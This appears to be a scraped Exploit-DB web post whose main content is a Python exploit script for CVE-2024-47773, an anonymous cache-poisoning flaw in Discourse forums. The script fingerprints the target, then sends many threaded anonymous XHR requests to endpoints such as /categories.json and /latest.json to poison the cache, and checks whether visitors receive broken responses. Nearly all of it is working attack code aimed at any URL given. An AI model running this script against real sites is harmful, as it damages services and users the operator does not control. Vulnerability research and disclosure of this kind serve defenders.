\n#!\/usr\/bin\/env python3
\n
“””
\n
Exploit Title: Discourse 3.2.x – Anonymous Cache Poisoning
\n
Date: 2024-10-15
\n
Exploit Author: ibrahimsql
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Github: : https:\/\/github.com\/ibrahmsql
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Vendor Homepage: https:\/\/discourse.org
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Software Link: https:\/\/github.com\/discourse\/discourse
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Version: Discourse < latest (patched)\n
Tested on: Discourse 3.1.x, 3.2.x
\n
CVE: CVE-2024-47773
\n
CVSS: 7.1 (AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:H\/A:L)<\/p>\n
Description:
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Discourse anonymous cache poisoning vulnerability allows attackers to poison
\n
the cache with responses without preloaded data through multiple XHR requests.
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This affects only anonymous visitors of the site.<\/p>\n
Reference:
\n
https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-47773
\n
“””<\/p>\n
import requests
\n
import sys
\n
import argparse
\n
import time
\n
import threading
\n
import json
\n
from urllib.parse import urljoin<\/p>\n
class DiscourseCachePoisoning:
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def __init__(self, target_url, threads=10, timeout=10):
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self.target_url = target_url.rstrip(‘\/’)
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self.threads = threads
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self.timeout = timeout
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self.session = requests.Session()
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self.session.headers.update({
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‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’,
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‘Accept’: ‘application\/json, text\/javascript, *\/*; q=0.01’,
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‘X-Requested-With’: ‘XMLHttpRequest’
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})
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self.poisoned = False<\/p>\n
def check_target(self):
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“””Check if target is accessible and running Discourse”””
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try:
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response = self.session.get(f”{self.target_url}\/”, timeout=self.timeout)
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if response.status_code == 200:
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if ‘discourse’ in response.text.lower() or ‘data-discourse-setup’ in response.text:
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return True
\n
except Exception as e:
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print(f”[-] Error checking target: {e}”)
\n
return False<\/p>\n
def check_anonymous_cache(self):
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“””Check if anonymous cache is enabled”””
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try:
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# Test endpoint that should be cached for anonymous users
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response = self.session.get(f”{self.target_url}\/categories.json”, timeout=self.timeout)<\/p>\n
# Check cache headers
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cache_headers = [‘cache-control’, ‘etag’, ‘last-modified’]
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has_cache = any(header in response.headers for header in cache_headers)<\/p>\n
if has_cache:
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print(“[+] Anonymous cache appears to be enabled”)
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return True
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else:
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print(“[-] Anonymous cache may be disabled”)
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return False<\/p>\n
except Exception as e:
\n
print(f”[-] Error checking cache: {e}”)
\n
return False<\/p>\n
def poison_cache_worker(self, endpoint):
\n
“””Worker function for cache poisoning attempts”””
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try:
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# Create session without cookies to simulate anonymous user
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anon_session = requests.Session()
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anon_session.headers.update({
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‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’,
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‘Accept’: ‘application\/json, text\/javascript, *\/*; q=0.01’,
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‘X-Requested-With’: ‘XMLHttpRequest’
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})<\/p>\n
# Make rapid requests to poison cache
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for i in range(50):
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response = anon_session.get(
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f”{self.target_url}{endpoint}”,
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timeout=self.timeout
\n
)<\/p>\n
# Check if response lacks preloaded data
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if response.status_code == 200:
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try:
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data = response.json()
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# Check for missing preloaded data indicators
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if self.is_poisoned_response(data):
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print(f”[+] Cache poisoning successful on {endpoint}”)
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self.poisoned = True
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return True
\n
except:
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pass<\/p>\n
time.sleep(0.1)<\/p>\n
except Exception as e:
\n
pass
\n
return False<\/p>\n
def is_poisoned_response(self, data):
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“””Check if response indicates successful cache poisoning”””
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# Look for indicators of missing preloaded data
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indicators = [
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# Missing or empty preloaded data
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not data.get(‘preloaded’, True),
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data.get(‘preloaded’) == {},
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# Missing expected fields
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‘categories’ in data and not data[‘categories’],
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‘topics’ in data and not data[‘topics’],
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# Error indicators
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data.get(‘error’) is not None,
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data.get(‘errors’) is not None
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]<\/p>\n
return any(indicators)<\/p>\n
def test_cache_poisoning(self):
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“””Test cache poisoning on multiple endpoints”””
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print(“[*] Testing cache poisoning vulnerability…”)<\/p>\n
# Target endpoints that are commonly cached
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endpoints = [
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‘\/categories.json’,
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‘\/latest.json’,
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‘\/top.json’,
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‘\/c\/general.json’,
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‘\/site.json’,
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‘\/site\/basic-info.json’
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]<\/p>\n
threads = []<\/p>\n
for endpoint in endpoints:
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print(f”[*] Testing endpoint: {endpoint}”)<\/p>\n
# Create multiple threads to poison cache
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for i in range(self.threads):
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thread = threading.Thread(
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target=self.poison_cache_worker,
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args=(endpoint,)
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)
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threads.append(thread)
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thread.start()<\/p>\n
# Wait for threads to complete
\n
for thread in threads:
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thread.join(timeout=5)<\/p>\n
if self.poisoned:
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break<\/p>\n
time.sleep(1)<\/p>\n
return self.poisoned<\/p>\n
def verify_poisoning(self):
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“””Verify if cache poisoning was successful”””
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print(“[*] Verifying cache poisoning…”)<\/p>\n
# Test with fresh anonymous session
\n
verify_session = requests.Session()
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verify_session.headers.update({
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‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’
\n
})<\/p>\n
try:
\n
response = verify_session.get(f”{self.target_url}\/categories.json”, timeout=self.timeout)<\/p>\n
if response.status_code == 200:
\n
try:
\n
data = response.json()
\n
if self.is_poisoned_response(data):
\n
print(“[+] Cache poisoning verified – anonymous users affected”)
\n
return True
\n
else:
\n
print(“[-] Cache poisoning not verified”)
\n
except:
\n
print(“[-] Unable to parse response”)
\n
else:
\n
print(f”[-] Unexpected response code: {response.status_code}”)<\/p>\n
except Exception as e:
\n
print(f”[-] Error verifying poisoning: {e}”)<\/p>\n
return False<\/p>\n
def exploit(self):
\n
“””Main exploit function”””
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print(f”[*] Testing Discourse Cache Poisoning (CVE-2024-47773)”)
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print(f”[*] Target: {self.target_url}”)<\/p>\n
if not self.check_target():
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print(“[-] Target is not accessible or not running Discourse”)
\n
return False<\/p>\n
print(“[+] Target confirmed as Discourse instance”)<\/p>\n
if not self.check_anonymous_cache():
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print(“[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)”)
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print(“[*] Continuing with exploit attempt…”)<\/p>\n
success = self.test_cache_poisoning()<\/p>\n
if success:
\n
print(“[+] Cache poisoning attack successful!”)
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self.verify_poisoning()
\n
print(“\\n[!] Impact: Anonymous visitors may receive responses without preloaded data”)
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print(“[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE”)
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return True
\n
else:
\n
print(“[-] Cache poisoning attack failed”)
\n
print(“[*] Target may be patched or cache disabled”)
\n
return False<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=’Discourse Anonymous Cache Poisoning (CVE-2024-47773)’)
\n
parser.add_argument(‘-u’, ‘–url’, required=True, help=’Target Discourse URL’)
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parser.add_argument(‘-t’, ‘–threads’, type=int, default=10, help=’Number of threads (default: 10)’)
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parser.add_argument(‘–timeout’, type=int, default=10, help=’Request timeout (default: 10)’)<\/p>\n
args = parser.parse_args()<\/p>\n
exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)<\/p>\n
try:
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success = exploit.exploit()
\n
sys.exit(0 if success else 1)
\n
except KeyboardInterrupt:
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print(“\\n[-] Exploit interrupted by user”)
\n
sys.exit(1)
\n
except Exception as e:
\n
print(f”[-] Exploit failed: {e}”)
\n
sys.exit(1)<\/p>\n
if __name__ == ‘__main__’:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Discourse 3.2.x – Anonymous Cache Poisoning Exploit ID EDB-ID:52358 Type exploitdb Published 2025-07-08T00:00:00 Modified 2025-07-08T00:00:00 CVSS Information CVSS Score…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,77,12,40,15,13,7,11,5],"class_list":["post-7819","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-82","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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